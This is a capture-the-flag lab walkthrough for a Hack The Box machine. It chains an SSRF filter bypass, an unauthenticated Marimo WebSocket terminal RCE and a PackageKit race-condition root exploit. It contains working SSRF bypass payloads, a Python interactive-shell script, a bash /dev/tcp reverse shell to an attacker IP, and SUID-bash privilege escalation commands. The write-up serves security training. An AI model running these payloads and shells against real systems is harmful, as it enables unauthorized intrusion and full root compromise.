- Category: Web + Linux Privilege Escalation
- Chain: SSRF -> internal service discovery -> unauthenticated Marimo WebSocket RCE (CVE-2026-39987) -> PackageKit TOCTOU root (CVE-2026-41651, “Pack2TheRoot”)
Recon
Basic connect scan and cert inspection turn up the primary vhost:
┌──(pwn㉿pwn)-[~/HTB]
└─$ sudo nmap -Pn -sC -sV 10.129.47.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
443/tcp open ssl/http nginx 1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=cohort.htb/organizationName=Cohort Analytics
| Subject Alternative Name: DNS:cohort.htb, DNS:*.cohort.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTPS certificate SAN and a redirect leak cohort.htb. Add it to /etc/hosts and browse.
Enumeration - web portal & SSRF
https://cohort.htb/portal.html exposes a data-source “validate/fetch” feature that takes a URL from the client and fetches it server-side. Classic SSRF surface. Proxy through Burp and send the request to Repeater:
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Type: application/json
{"url":"http://example.com"}
Bypass the localhost filter
Edit the url field and watch for a behaviour change (error vs "ok": true):
{"url":"http://127.0.0.1/"} <- blocked, confirms a filter exists
{"url":"http://127.1/"} <- gets through
{"url":"http://2130706433/"} <- decimal-encoded 127.0.0.1
{"url":"http://0x7f000001/"} <- hex-encoded 127.0.0.1
http://127.1/ gets through - the filter does a literal string match on 127.0.0.1 and nothing smarter.
Enumerate internal ports and the internal vhost
Keep editing the url field and resending:
{"url":"http://127.1:5000/status"} -> internal Flask/API service
{"url":"http://127.1:8888/status"} -> a Marimo notebook, loopback only
{"url":"http://127.1:80/status"}
The :80/status response body leaks the internal vhost:
{"ok": true, "preview": "{...\"notebooks\",\"host\":\"nb-1be3782a8afd3ad5.cohort.htb\",\"target\":\"127.0.0.1:8888\"...}"}
nb-1be3782a8afd3ad5.cohort.htb -> 127.0.0.1:8888
Key detail: nginx routes by the Host header, not by IP:port. Hitting 127.0.0.1:8888 through the SSRF gets you nginx’s fallback, not the notebook. What this vhost buys you is the ability to reach the notebook directly - bypassing SSRF entirely - once you add it to /etc/hosts.
Foothold - Marimo unauthenticated WebSocket RCE (CVE-2026-39987)
The app redirects unauthenticated requests to /auth/login, so most endpoints are locked down - but /terminal/ws isn’t, which is the vulnerability. Correlating “unauthenticated terminal WebSocket in a notebook app” against public advisories identifies CVE-2026-39987 (unauthenticated WebSocket terminal RCE, Marimo < 0.23.0): the /terminal/ws route is missing its validate_auth() check entirely.
Simplest approach: a websocket-client connection straight to /terminal/ws.
import ssl, threading, websocket
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
WS_URL = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"
def main():
ws = websocket.create_connection(
WS_URL, host=HOST, origin=f"https://{HOST}",
sslopt={"cert_reqs": ssl.CERT_NONE}, timeout=5,
)
print("[+] websocket connected")
threading.Thread(target=lambda: [print(ws.recv(), end="") for _ in iter(int, 1)], daemon=True).start()
while True:
cmd = input("")
if cmd.lower() == "exit": break
ws.send(cmd + "\r")
ws.close()
if __name__ == "__main__":
main()
Send id first - a real UID/GID confirms RCE:
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
cohort
User flag is readable: cat /home/marimo/user.txt.
Upgrade to a reverse shell
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/10.10.16.186/4444 0>&1'
Then stabilize the TTY (python3 -c 'import pty; pty.spawn("/bin/bash")', stty raw -echo; fg, export TERM=xterm).
Privilege escalation - PackageKit TOCTOU (CVE-2026-41651)
Landing as marimo (uid 1000), the box is hardened: restricted namespaces, a hardened audit daemon, and NoNewPrivileges rule out many SUID/capability tricks. SUID enumeration shows nothing custom; sudo -l requires a password.
Fingerprint the package manager:
cat /etc/os-release
dpkg-query -W -f='${Version}\n' packagekit
command -v dbus-send
command -v dpkg-deb
Result: an outdated PackageKit build with D-Bus and dpkg-deb available - the preconditions for CVE-2026-41651, “Pack2TheRoot”. Root cause is a TOCTOU race:
- Create a PackageKit transaction.
- Call
InstallFilesonce with theSIMULATEflag set. - Before the server finishes, call
InstallFilesagain pointing at the real malicious package path. - The later execution stage reads the overwritten path instead of the simulated one.
- The malicious
.deb’spostinstscript runs as root.
Stage the exploit, run it, and confirm the SUID bash dropped:
rm -f /tmp/.suid_bash /tmp/pk.log
nohup /tmp/exploit.bin >/tmp/pk.log 2>&1 &
sleep 12
ls -l /tmp/.suid_bash
Root
/tmp/.suid_bash -p -c 'id; cat /root/root.txt'
-p preserves the effective UID from the SUID bit - without it bash drops privileges on startup.
Lessons
- SSRF filters that block
127.0.0.1literally but not127.1/decimal/hex are trivially bypassable - always try alternate representations. - Internal reverse-proxy routing by
Hostheader means SSRF against an IP:port alone can return nothing even when the backend is alive; a leakedstatusendpoint exposed the real attack surface. - Unauthenticated WebSocket terminals are a recurring class of bug in notebook/dev-tool web UIs - check version banners against known CVEs.
- Outdated PackageKit + local D-Bus access is worth checking on every Linux box during privesc enumeration.